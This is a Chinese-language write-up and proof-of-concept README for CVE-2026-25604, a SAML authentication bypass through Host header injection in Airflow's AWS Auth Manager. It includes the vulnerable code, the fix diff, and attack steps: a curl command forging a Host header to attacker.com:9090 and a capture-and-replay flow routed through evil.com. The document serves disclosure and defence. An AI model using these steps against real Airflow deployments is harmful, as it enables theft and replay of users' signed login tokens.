Apache Airflow 的 AWS Auth Manager 中,Host 头注入导致 SAML 身份验证绕过
攻击者可以在 SAML 登录流程中注入恶意的 Host 头,使断言使用者服务(ACS)URL 指向攻击者控制的服务器。这使攻击者能够捕获有效的 SAML 响应并重放这些响应以未授权访问受害者的 Airflow 实例——或在不同访问控制的多个 Airflow 实例间重用令牌。
| 软件包 | 受影响版本 | 修复版本 |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604:AWS Auth Manager 中的来源验证错误(CWE-346)
在 AWS Auth Manager 中,SAML 身份验证的来源直接使用了客户端提供的值,而未与实际实例 URL 进行校验。攻击者可以通过重用来自其他实例的 SAML 响应,访问具有潜在不同访问控制的不同实例。
— NVD
| 来源 | 链接 |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| 修复 PR | https://github.com/apache/airflow/pull/61368 |
| 修复提交 |
Apache Airflow 的 AWS Auth Manager 通过 AWS IAM Identity Center 使用 SAML 2.0 进行身份验证。在构造 SAML 身份验证请求时,_prepare_flask_request() 方法直接从传入的 HTTP 请求中读取 Host 头以构建 ACS 回调 URL:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
生成的 http_host 和 server_port 用于构造 SAML AssertionConsumerService URL。由于身份提供商(IdP)信任此 URL,它会将已认证用户连同签名的 SAML 响应重定向到 Host 头所指向的任何位置。
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
场景 A —— 通过网络钓鱼窃取令牌: 攻击者通过反向代理向合法用户发送一个伪造了 Host 头的恶意登录链接。用户使用 IAM Identity Center 完成身份验证后,SAML 响应会被重定向到攻击者的服务器。攻击者随后针对真实的 Airflow 实例重放该响应。
场景 B —— 跨实例令牌重用: 在多租户或多实例的 Airflow 环境中,来自实例 A 的有效 SAML 响应可以被重放到实例 B。由于来源从未与实际实例 URL 进行校验,实例 B 上不同的访问控制将被绕过。
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
根据 Airflow AWS Auth Manager 文档 在 AWS IAM Identity Center 中配置一个 SAML 2.0 应用程序:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
例如:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
在另一个终端中,使用经过篡改的 Host 头发起一次 SAML 登录:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
服务器会返回一个指向 AWS IAM Identity Center 登录页面的 302 Redirect。检查 SAML AuthnRequest——AssertionConsumerService URL 将指向 attacker.com:9090/login_callback,而不是合法的服务器。
在模拟 Airflow 服务器控制台上:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
SAML AuthnRequest 现在会指示 IdP 将经过身份验证的 SAML 响应发送到 attacker.com:9090,从而为攻击者提供一个可重放的有效令牌。
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py —— _prepare_flask_request() 方法:
host = request.headers.get("Host", request.host)
这行代码信任客户端提供的 Host 头,而不会将其与配置的 Airflow 基础 URL(AIRFLOW__API__BASE_URL)进行校验。
该修复(PR #61368,于 2026 年 2 月 3 日合并)将请求中获取的主机名替换为来自 Airflow 配置的值:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
这样可确保 ACS URL 始终与管理员配置的实际实例 URL 一致,无论客户端发送什么 Host 头。
本概念验证仅用于教育和经授权的安全测试目的。请负责任地使用它,并且只针对您拥有或明确获准测试的系统进行测试。
1a86aec |